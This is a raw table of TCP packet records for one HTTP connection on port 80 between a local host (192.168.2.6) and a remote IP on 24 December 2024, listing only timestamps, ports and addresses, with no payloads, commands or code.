Dec 24, 2024 14:02:38.774357080 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.775208950 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.775252104 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.775352001 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.775403976 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.776128054 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.776174068 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.776207924 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.776248932 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.777025938 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.777075052 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.777344942 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.777394056 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.777966022 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.778012037 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.778039932 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.778085947 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.778930902 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.778980970 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.779350042 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.779397964 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.779906034 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.779953957 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.780553102 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.780605078 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.780927896 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.780977011 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.781944990 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.781958103 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.781996965 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.782536983 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.782586098 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.782844067 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.782887936 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.783066988 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.783121109 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.783821106 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.783875942 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.784046888 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.784086943 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.784945011 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.785000086 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.785803080 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.785861015 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.785913944 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.785926104 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.785953999 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.785983086 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.786828041 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.786875963 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.787122965 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.787169933 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.787837029 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.787882090 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.787976980 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.788022041 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.788801908 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.788851976 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.788875103 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.788912058 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.789741993 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.789789915 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.789889097 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.789937019 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.790756941 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.790802956 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.790895939 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.790946007 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.791708946 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.791743040 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.791755915 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.791779041 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.792653084 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.792679071 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.792704105 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.792718887 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.793716908 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.793764114 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.793768883 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.793804884 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.794598103 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.794645071 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.794703007 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.794749975 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.795576096 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.795624018 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.795751095 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.795799971 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.796611071 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.796658039 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.796752930 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.796796083 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.797537088 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.797590017 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.797645092 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.797684908 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.798515081 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.798563004 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.798633099 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.798675060 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.799503088 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.799552917 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.799627066 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.799671888 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.800544977 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.800592899 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.800678968 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.800725937 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.801489115 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.801537037 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.801671028 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.801718950 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.802418947 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.802464962 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.802529097 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.802573919 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.803662062 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.803709030 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.803826094 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.803874969 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.804435015 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.804449081 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.804486036 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.805372000 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.805418968 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.805929899 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.805989981 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.806277037 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.806330919 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.947038889 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.947122097 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.947226048 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.947263956 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.947273016 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.947283983 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.947309017 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.947330952 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.948334932 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.948405027 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.948431969 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.948476076 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.949347973 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.949398994 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.949484110 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.949533939 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.950201988 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.950248957 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.950416088 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.950463057 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.951225996 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.951275110 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.951425076 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.951473951 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.952164888 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.952213049 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.952372074 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.952418089 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.953150034 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.953200102 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.953227997 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.953274965 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.954113960 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.954159975 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.954296112 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.954339981 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.955091000 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.955140114 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.955317974 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.955368042 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.956101894 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.956147909 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.956228971 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.956274986 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.957117081 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.957164049 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.957238913 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.957283974 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.958046913 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.958095074 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.958122015 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.958168983 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.959049940 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.959096909 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.959173918 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.959213972 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.960040092 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.960086107 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.960092068 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.960135937 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.961000919 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.961045980 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.961656094 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.961702108 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.961942911 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.961988926 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.962852955 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.962899923 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.963004112 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.963016033 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.963056087 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.963985920 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.964031935 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.964262962 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.964308023 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.964909077 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.964962006 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.965590954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.965636969 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.965867043 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.965913057 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.966022968 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.966070890 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.966918945 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.966965914 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.967053890 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.967093945 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.967807055 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.967856884 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.967925072 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.967967033 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.968878031 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.968928099 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.968962908 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.969007015 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.969778061 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.969830990 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.969882011 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.969928980 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.970864058 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.970915079 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.970923901 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.970967054 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.972112894 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.972126961 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.972177029 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.972923994 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.972979069 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.972996950 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.973048925 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.973835945 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.973889112 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.973963976 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.974011898 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.974769115 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.974817038 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.974874020 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.974915981 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.975667953 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.975716114 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.976155996 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.976205111 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.976732969 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.976743937 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.976783991 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.977626085 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.977675915 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.978012085 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.978060007 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.978677034 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.978734016 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.978912115 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.978957891 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.979594946 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.979639053 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.980089903 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.980137110 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.980564117 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.980613947 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.980704069 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.980750084 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.981571913 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.981617928 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.981720924 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.981765032 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.982533932 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.982583046 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.982917070 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.982964039 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.983472109 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.983517885 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.983534098 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.983572006 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.984458923 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.984504938 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.984774113 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.984848022 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.985431910 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.985477924 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.985506058 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.985551119 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.986438990 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.986484051 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.986501932 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.986547947 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.987428904 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.987478018 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.987926960 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.987971067 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.988360882 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.988404036 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.988954067 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.989001036 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.989454031 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.989495039 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.989578009 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.989617109 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.990341902 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.990385056 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.990609884 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.990650892 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.991424084 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.991451979 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.991473913 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.991487026 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.992285967 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.992328882 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.993175983 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.993222952 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.993371964 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.993383884 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.993413925 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.993429899 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.994294882 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.994338036 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.994420052 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.994457960 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.995237112 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.995280027 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.995291948 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.995332003 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.996233940 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.996278048 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.996416092 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.996454000 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.997184038 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.997226000 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.997405052 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.997447014 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.998174906 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.998220921 CET	49787	80	192.168.2.6	185.231.69.191
